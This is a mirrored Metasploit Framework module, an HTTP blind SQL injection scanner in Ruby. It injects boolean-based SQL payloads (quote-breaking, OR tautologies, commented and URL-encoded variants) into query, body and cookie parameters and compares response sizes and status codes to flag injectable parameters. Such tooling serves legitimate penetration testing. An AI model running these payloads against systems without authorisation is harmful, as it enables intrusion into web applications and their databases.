CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/blind_sql_query.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
8
9
10
class MetasploitModule < Msf::Auxiliary
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Auxiliary::WmapScanUniqueQuery
13
include Msf::Auxiliary::Scanner
14
include Msf::Auxiliary::Report
15
16
17
def initialize(info = {})
18
super(update_info(info,
19
'Name' => 'HTTP Blind SQL Injection Scanner',
20
'Description' => %q{
21
This module identifies the existence of Blind SQL injection issues
22
in GET/POST Query parameters values.
23
},
24
'Author' => [ 'et [at] cyberspace.org' ],
25
'License' => BSD_LICENSE))
26
27
register_options(
28
[
29
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),
30
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
31
OptString.new('QUERY', [ false, "HTTP URI Query", '']),
32
OptString.new('DATA', [ false, "HTTP Body Data", '']),
33
OptString.new('COOKIE',[ false, "HTTP Cookies", ''])
34
])
35
36
end
37
38
def run_host(ip)
39
# Force http verb to be upper-case, because otherwise some web servers such as
40
# Apache might throw you a 501
41
http_method = datastore['METHOD'].upcase
42
43
gvars = Hash.new()
44
pvars = Hash.new()
45
cvars = Hash.new()
46
47
rnum=rand(10000)
48
49
inivalstr = [
50
[ 'numeric',
51
" AND #{rnum}=#{rnum} ",
52
" AND #{rnum}=#{rnum+1} "
53
],
54
[ 'single quotes',
55
"' AND '#{rnum}'='#{rnum}",
56
"' AND '#{rnum}'='#{rnum+1}"
57
],
58
[ 'double quotes',
59
"\" AND \"#{rnum}\"=\"#{rnum}",
60
"\" AND \"#{rnum}\"=\"#{rnum+1}"
61
],
62
[ 'OR single quotes uncommented',
63
"' OR '#{rnum}'='#{rnum}",
64
"' OR '#{rnum}'='#{rnum+1}"
65
],
66
[ 'OR single quotes closed and commented',
67
"' OR '#{rnum}'='#{rnum}'--",
68
"' OR '#{rnum}'='#{rnum+1}'--"
69
],
70
[ 'hex encoded OR single quotes uncommented',
71
"'%20OR%20'#{rnum}'%3D'#{rnum}",
72
"'%20OR%20'#{rnum}'%3D'#{rnum+1}"
73
],
74
[ 'hex encoded OR single quotes closed and commented',
75
"'%20OR%20'#{rnum}'%3D'#{rnum}'--",
76
"'%20OR%20'#{rnum}'%3D'#{rnum+1}'--"
77
]
78
]
79
80
# Creating strings with true and false values
81
valstr = []
82
inivalstr.each do |vstr|
83
# With true values
84
valstr << vstr
85
# With false values, appending 'x' to real value
86
valstr << ['False char '+vstr[0],'x'+vstr[1],'x'+vstr[2]]
87
# With false values, appending '0' to real value
88
valstr << ['False num '+vstr[0],'0'+vstr[1],'0'+vstr[2]]
89
end
90
91
#valstr.each do |v|
92
# print_status("#{v[0]}")
93
# print_status("#{v[1]}")
94
# print_status("#{v[2]}")
95
#end
96
97
#
98
# Dealing with empty query/data and making them hashes.
99
#
100
101
if !datastore['QUERY'] or datastore['QUERY'].empty?
102
datastore['QUERY'] = nil
103
gvars = nil
104
else
105
gvars = queryparse(datastore['QUERY']) #Now its a Hash
106
end
107
108
if !datastore['DATA'] or datastore['DATA'].empty?
109
datastore['DATA'] = nil
110
pvars = nil
111
else
112
pvars = queryparse(datastore['DATA'])
113
end
114
115
if !datastore['COOKIE'] or datastore['COOKIE'].empty?
116
datastore['COOKIE'] = nil
117
cvars = nil
118
else
119
cvars = queryparse(datastore['COOKIE'])
120
end
121
122
verifynr=2
123
124
i=0
125
k=0
126
c=0
127
128
normalres = nil
129
130
verifynr.times do |j|
131
#SEND NORMAL REQUEST
132
begin
133
normalres = send_request_cgi({
134
'uri' => normalize_uri(datastore['PATH']),
135
'vars_get' => gvars,
136
'method' => http_method,
137
'ctype' => 'application/x-www-form-urlencoded',
138
'cookie' => datastore['COOKIE'],
139
'data' => datastore['DATA']
140
}, 20)
141
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
142
rescue ::Timeout::Error, ::Errno::EPIPE
143
end
144
145
if not normalres
146
print_error("No response")
147
return
148
else
149
if i==0
150
k = normalres.body.length
151
c = normalres.code.to_i
152
else
153
if k != normalres.body.length
154
print_error("Normal response body vary")
155
return
156
end
157
if c != normalres.code.to_i
158
print_error("Normal response code vary")
159
return
160
end
161
end
162
end
163
end
164
165
print_status("[Normal response body: #{k} code: #{c}]")
166
167
pinj = false
168
169
valstr.each do |tarr|
170
#QUERY
171
if gvars
172
gvars.each do |key,value|
173
vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")
174
175
#SEND TRUE REQUEST
176
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
177
testgvars[key] = testgvars[key]+tarr[1]
178
t = testgvars[key]
179
180
begin
181
trueres = send_request_cgi({
182
'uri' => normalize_uri(datastore['PATH']),
183
'vars_get' => testgvars,
184
'method' => http_method,
185
'ctype' => 'application/x-www-form-urlencoded',
186
'cookie' => datastore['COOKIE'],
187
'data' => datastore['DATA']
188
}, 20)
189
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
190
rescue ::Timeout::Error, ::Errno::EPIPE
191
end
192
193
#SEND FALSE REQUEST
194
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
195
testgvars[key] = testgvars[key]+tarr[2]
196
197
begin
198
falseres = send_request_cgi({
199
'uri' => normalize_uri(datastore['PATH']),
200
'vars_get' => testgvars,
201
'method' => http_method,
202
'ctype' => 'application/x-www-form-urlencoded',
203
'cookie' => datastore['COOKIE'],
204
'data' => datastore['DATA']
205
}, 20)
206
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
207
rescue ::Timeout::Error, ::Errno::EPIPE
208
end
209
210
pinja = false
211
pinjb = false
212
pinjc = false
213
pinjd = false
214
215
pinja = detection_a(normalres,trueres,falseres,tarr)
216
pinjb = detection_b(normalres,trueres,falseres,tarr)
217
pinjc = detection_c(normalres,trueres,falseres,tarr)
218
pinjd = detection_d(normalres,trueres,falseres,tarr)
219
220
if pinja or pinjb or pinjc or pinjd
221
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
222
print_good("[#{t}]")
223
224
report_web_vuln(
225
:host => ip,
226
:port => rport,
227
:vhost => vhost,
228
:ssl => ssl,
229
:path => normalize_uri(datastore['PATH']),
230
:method => http_method,
231
:pname => key,
232
:proof => "blind sql inj.",
233
:risk => 2,
234
:confidence => 50,
235
:category => 'SQL injection',
236
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
237
:name => 'Blind SQL injection'
238
)
239
else
240
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
241
end
242
end
243
end
244
245
#DATA
246
if pvars
247
pvars.each do |key,value|
248
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
249
250
#SEND TRUE REQUEST
251
testpvars = queryparse(datastore['DATA']) #Now its a Hash
252
testpvars[key] = testpvars[key]+tarr[1]
253
t = testpvars[key]
254
255
pvarstr = ""
256
testpvars.each do |tkey,tvalue|
257
if pvarstr
258
pvarstr << '&'
259
end
260
pvarstr << tkey+'='+tvalue
261
end
262
263
begin
264
trueres = send_request_cgi({
265
'uri' => normalize_uri(datastore['PATH']),
266
'vars_get' => gvars,
267
'method' => http_method,
268
'ctype' => 'application/x-www-form-urlencoded',
269
'cookie' => datastore['COOKIE'],
270
'data' => pvarstr
271
}, 20)
272
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
273
rescue ::Timeout::Error, ::Errno::EPIPE
274
end
275
276
#SEND FALSE REQUEST
277
testpvars = queryparse(datastore['DATA']) #Now its a Hash
278
testpvars[key] = testpvars[key]+tarr[2]
279
280
pvarstr = ""
281
testpvars.each do |tkey,tvalue|
282
if pvarstr
283
pvarstr << '&'
284
end
285
pvarstr << tkey+'='+tvalue
286
end
287
288
begin
289
falseres = send_request_cgi({
290
'uri' => normalize_uri(datastore['PATH']),
291
'vars_get' => gvars,
292
'method' => http_method,
293
'ctype' => 'application/x-www-form-urlencoded',
294
'cookie' => datastore['COOKIE'],
295
'data' => pvarstr
296
}, 20)
297
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
298
rescue ::Timeout::Error, ::Errno::EPIPE
299
end
300
301
pinja = false
302
pinjb = false
303
pinjc = false
304
pinjd = false
305
306
pinja = detection_a(normalres,trueres,falseres,tarr)
307
pinjb = detection_b(normalres,trueres,falseres,tarr)
308
pinjc = detection_c(normalres,trueres,falseres,tarr)
309
pinjd = detection_d(normalres,trueres,falseres,tarr)
310
311
if pinja or pinjb or pinjc or pinjd
312
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
313
print_good("[#{t}]")
314
315
report_web_vuln(
316
:host => ip,
317
:port => rport,
318
:vhost => vhost,
319
:ssl => ssl,
320
:path => datastore['PATH'],
321
:method => http_method,
322
:pname => key,
323
:proof => "blind sql inj.",
324
:risk => 2,
325
:confidence => 50,
326
:category => 'SQL injection',
327
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
328
:name => 'Blind SQL injection'
329
)
330
else
331
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
332
end
333
end
334
end
335
end
336
end
337
338
def detection_a(normalr,truer,falser,tarr)
339
# print_status("A")
340
341
# DETECTION A
342
# Very simple way to compare responses, this can be improved a lot , at this time just the simple way
343
344
if normalr and truer
345
#Very simple way to compare responses, this can be improved a lot , at this time just the simple way
346
reltruesize = truer.body.length-(truer.body.scan(/#{tarr[1]}/).length*tarr[1].length)
347
normalsize = normalr.body.length
348
349
#print_status("normalsize #{normalsize} truesize #{reltruesize}")
350
351
if reltruesize == normalsize
352
if falser
353
relfalsesize = falser.body.length-(falser.body.scan(/#{tarr[2]}/).length*tarr[2].length)
354
355
#print_status("falsesize #{relfalsesize}")
356
357
if reltruesize > relfalsesize
358
print_status("Detected by test A")
359
return true
360
else
361
return false
362
end
363
else
364
vprint_status("NO False Response.")
365
end
366
else
367
vprint_status("Normal and True requests are different.")
368
end
369
else
370
print_status("No response.")
371
end
372
373
return false
374
end
375
376
def detection_b(normalr,truer,falser,tarr)
377
# print_status("B")
378
379
# DETECTION B
380
# Variance on res body
381
382
if normalr and truer
383
if falser
384
#print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")
385
386
if (truer.body.length-tarr[1].length) != normalr.body.length and (falser.body.length-tarr[2].length) == normalr.body.length
387
print_status("Detected by test B")
388
return true
389
end
390
if (truer.body.length-tarr[1].length) == normalr.body.length and (falser.body.length-tarr[2].length) != normalr.body.length
391
print_status("Detected by test B")
392
return true
393
end
394
end
395
end
396
397
return false
398
end
399
400
def detection_c(normalr,truer,falser,tarr)
401
# print_status("C")
402
403
# DETECTION C
404
# Variance on res code of true or false statements
405
406
if normalr and truer
407
if falser
408
if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i
409
print_status("Detected by test C")
410
return true
411
end
412
if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i
413
print_status("Detected by test C")
414
return true
415
end
416
end
417
end
418
419
return false
420
end
421
422
def detection_d(normalr,truer,falser,tarr)
423
# print_status("D")
424
425
# DETECTION D
426
# Variance PERCENTAGE MIN MAX on res body
427
428
# 2% 50%
429
max_diff_perc = 2
430
min_diff_perc = 50
431
432
if normalr and truer
433
if falser
434
nl= normalr.body.length
435
tl= truer.body.length
436
fl= falser.body.length
437
438
if nl == 0
439
nl = 1
440
end
441
if tl == 0
442
tl = 1
443
end
444
if fl == 0
445
fl = 1
446
end
447
448
ntmax = [ nl,tl ].max
449
ntmin = [ nl,tl ].min
450
diff_nt_perc = ((ntmax - ntmin)*100)/(ntmax)
451
diff_nt_f_perc = ((ntmax - fl)*100)/(ntmax)
452
453
if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc
454
print_status("Detected by test D")
455
return true
456
end
457
458
nfmax = [ nl,fl ].max
459
nfmin = [ nl,fl ].min
460
diff_nf_perc = ((nfmax - nfmin)*100)/(nfmax)
461
diff_nf_t_perc = ((nfmax - tl)*100)/(nfmax)
462
463
if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc
464
print_status("Detected by test D")
465
return true
466
end
467
end
468
end
469
470
return false
471
end
472
end
473
474